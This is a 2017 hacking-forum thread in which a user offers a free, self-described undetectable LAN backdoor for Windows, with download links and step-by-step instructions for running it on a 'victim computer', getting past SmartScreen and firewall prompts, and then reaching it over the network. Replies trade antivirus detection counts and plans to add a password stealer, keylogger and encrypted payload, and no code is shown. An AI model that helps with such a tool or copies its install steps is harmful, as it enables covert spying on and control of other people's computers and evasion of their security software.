Thread: [FUD/UD CUSTOM LAN BACKDOOR \[FREE\]](#)

kevy42 - February 12, 2017, 10:43 am

NOTE: This is not binded or harmful in ANY way, if u don't believe me than go ahead run it in sandboxie, use your fancy .net reflector, OLLY DPG and Wireshark. You won't find SHIT.

I was reversing NJRAT the other day(just for the lolz) and i though to myself, "what if i made my own rat :O". That idea went nowhere since it's not the easiest of tasks, and im not the most patient guy ether. But I did manage to stable up this LAN backdoor, it uses a php webserver to host the backdoor. I don't have much use for it, so I decided to post it here so u guys can have some fun with it. Atm its 1 - 2/35 Scantime and 1/20 Runtime.

Now let me make this clear first. THIS IS NOT INTEDED TO BE A RAT REPLACEMENT, i only added a few features to satisfy your trolling/spying needs, so don't come to me saying that it dost have this. Or that.

DOWNLOAD LINK: http://www.filedropper.com/setup_60

If the download link isnt working, go though the comments, i will be posting updates, new links and more info there. Also, i would love to hear your feedback and comments?.

HOW TO USE:

1. Unzip it and Run it on the victim computer, you HAVE to run it on their desktop.
2. Press "More Info on the SmartScreen prompt.
3. Press "Run Anyways" on the SmartScreen Prompt.
3. Wait until you get a firewall prompt.
4. Press "Allow" on the prompt.

5. Make sure the file you ran has deleted itself from the Desktop(this means it has successfully installed itself).

6. Open CMD and type ipconfig.

7. Copy the Ipv4.

8. Open your web browser and goto the Ipv4 as URL with port 42069, like this: [http://\(Ipv4\):42069](http://(Ipv4):42069).

9. Enjoy ?, if you dont know what a button does, hover over it and it will tell you.

FEATURES:

- View Desktop
- Network, Hardware/OS, Usage Information
- Shutdown, Reboot, Hibernate
- Troll
- Crash
- Disconnect
- Uninstall

DEPENDENCES:

- 64 Bit windows 8/10 ONLY
- The C:\ drive has to be your main Drive
- Anything besides a NAT connected network
- .net 2.0

The One Who Knocks - February 12, 2017, 2:18 pm

Posting here for later. I wanna see what this gets

Corruption - February 12, 2017, 2:23 pm

This does look nicely made. I will come back to this thread in few days to see what others are saying.

xZereus - February 12, 2017, 3:23 pm

Good work! Looks nice, made by a pro.

kevy42 - February 12, 2017, 3:48 pm

thx thx :), to be honest i could make it alot better with a little bit of AJAX, but im lazy XD

(Feb 12, 2017 04:23 PM)xZereus Wrote: [\[CITE\]](#) Good work! Looks nice, made by a pro.

dont know if im a pro, but thx for the compliment <3

ATM its only detected by TwisterAV, idfk how i managed to avade ESET, but it happened XD.
before i had 2/35 with ESET

HexaCrypt - February 13, 2017, 2:18 am

it looks really nice, can some one conform its safe to use.

CrackedKitten - February 13, 2017, 2:42 am

Very Interesting, would love upload and execute but a very good start to a RAT

kevy42 - February 13, 2017, 3:37 am

(Feb 13, 2017 03:42 AM)CrackedKitten Wrote: [\[CITE\]](#) Very Interesting, would love upload and execute but a very good start to a RAT

thx <3, i actuly tryd adding upload/execute, but the PHP webserver im using atm is made to be extramly small, its only 10 MB, and i compress it down to about 4 MB.

therefore it dosnt use php.ini, it dosnt use any sort of ini files, so i cant set "allow file upload" to true, thats why i couldnt add uplaod/execute.

if u know ANY php webserver that is very small and compacket, but still uses the php.ini files, PLZ let me know :D

Purple Kief - February 13, 2017, 5:09 am

Has anyone tested this? If so please do let me know.

kevy42 - February 13, 2017, 5:33 am

(Feb 13, 2017 06:09 AM)Purple Kief Wrote: [\[CITE\]](#) Has anyone tested this? If so please do let me know.

i can show u a demo on my VM if u wish

my skype: sakul_2014

lolamoomoo1 - February 13, 2017, 8:09 am

Vouch, legit not binded, he put some time into it. i watched him do most of this lol,

3azraiell - February 13, 2017, 8:44 am

well nice i will give i try thanks for the share dude

kevy42 - February 13, 2017, 10:18 am

(Feb 13, 2017 09:44 AM)3azraiell Wrote: [\[CITE\]](#) well nice i will give i try thanks for the share dude np :), ones it uNFUD's i will add password stealer aswell, i cant atm sence the actual password stealer is 11/35 XD

1/35 only twister, practially 0/35, no one uses twister

if anyone knows a php webserver thats very small, let me know :)

Rertr0 - February 14, 2017, 11:20 am

Looks very cleanly made gonna check it out now. Should be good!!

kevy42 - February 14, 2017, 1:10 pm

(Feb 14, 2017 12:20 PM)Rertr0 Wrote: [\[CITE\]](#) Looks very cleanly made gonna check it out now. Should be good!!

thx, as i said, i will be adding alot more ones it unFUD's, like password stealer, keylogger, website opener..etc

3thicalnoob - February 17, 2017, 5:04 pm

wow still FUD .. great work :D

kevy42 - February 17, 2017, 5:05 pm

(Feb 17, 2017 06:04 PM)3thicalnoob Wrote: [\[CITE\]](#) wow still FUD .. great work :D
yeh for some weird reason Dr.web removed there detection XD, its now 0/35. enjoy

Armada - February 17, 2017, 8:55 pm

Having a hard time with analysis of the file, its native to x64 based systems, my sandboxies dont seem to like it.

Few detection's, but unsure what those mean.

Id highly recommend someone with a Win x64 VM to test this properly.

kevy42 - February 18, 2017, 6:21 am

i can show u on my VM, its 64bit

guys im thinking of AES encrypting the payload inside the setup, will make it decrypt over memory. feedback?

Alright iv added AES encryption to the payload, enjoy ?

DOWNLOAD LINK: <http://www.filedropper.com/httpbackdoor>

Shortcut - February 18, 2017, 4:27 pm

Works 100%

Vouch for this guy

Not doubting you, honestly.

But honestly understand our hesitation... Consider where you are posting.

And FURTHER its not that I personally do not trust you, as I noted already I simply cant analyze

further to determine.

So final recommendation and say is:

Seems Clean, but VM or Sandboxie, just in case. ?

kevy42 - February 19, 2017, 4:39 pm

Why not start with adding it to the comments maybe?
Just a simple idea ?

kevy42 - February 19, 2017, 5:10 pm

(Feb 19, 2017 06:09 PM)JaGLY Wrote: [\[CITE\]](#) Why not start with adding it to the comments maybe?
Just a simple idea ?
probably will, btw do u know any commandline FTP client, i may add that to the backdoor. but it needs to be silent with no window, only commandline

xZereus - February 19, 2017, 5:45 pm

Its pretty okay works nicely havent had much problems

Infinite99Prowess - February 22, 2017, 4:13 am

I personally know this person who made this LAN Backdoor and I was with him testing his project everytime he did a little update...it is very very stable and I'd say anyone can work with this.

DOWNLOAD LINK: <http://www.filedropper.com/httpbackdoor>

I think a general idea is great. Therefore I would like to ask if it is possible to update the download link and maybe upload it to another site than filedropper.com

For example, upload it to sendspace.com and put it in a ZIP or RAR file with the password "WeedmasterOG"

kevy42 - April 7, 2017, 4:10 am

im not working on this project anymore, but i can update the link later, sure :)

LeVity - April 7, 2017, 4:16 am

Thanks, if you're not working on it anymore. Can you then send the SRC?

kevy42 - April 7, 2017, 5:29 am

SRC?.....

Computerjul - April 7, 2017, 5:33 am

i think he meant the source but i am not sure

Dotexe - April 7, 2017, 5:40 am

The panel looks really simple, if you can improve it a lil bit it would be cool

kevy42 - April 7, 2017, 7:27 am
